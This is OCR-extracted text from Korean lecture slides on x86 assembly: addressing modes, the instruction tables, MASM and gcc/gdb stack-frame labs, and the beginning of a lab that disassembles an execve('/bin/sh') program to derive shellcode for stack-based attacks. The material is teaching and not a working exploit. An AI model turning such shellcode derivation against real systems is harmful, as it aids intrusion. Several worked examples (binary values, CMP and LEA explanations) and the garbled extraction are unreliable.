MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

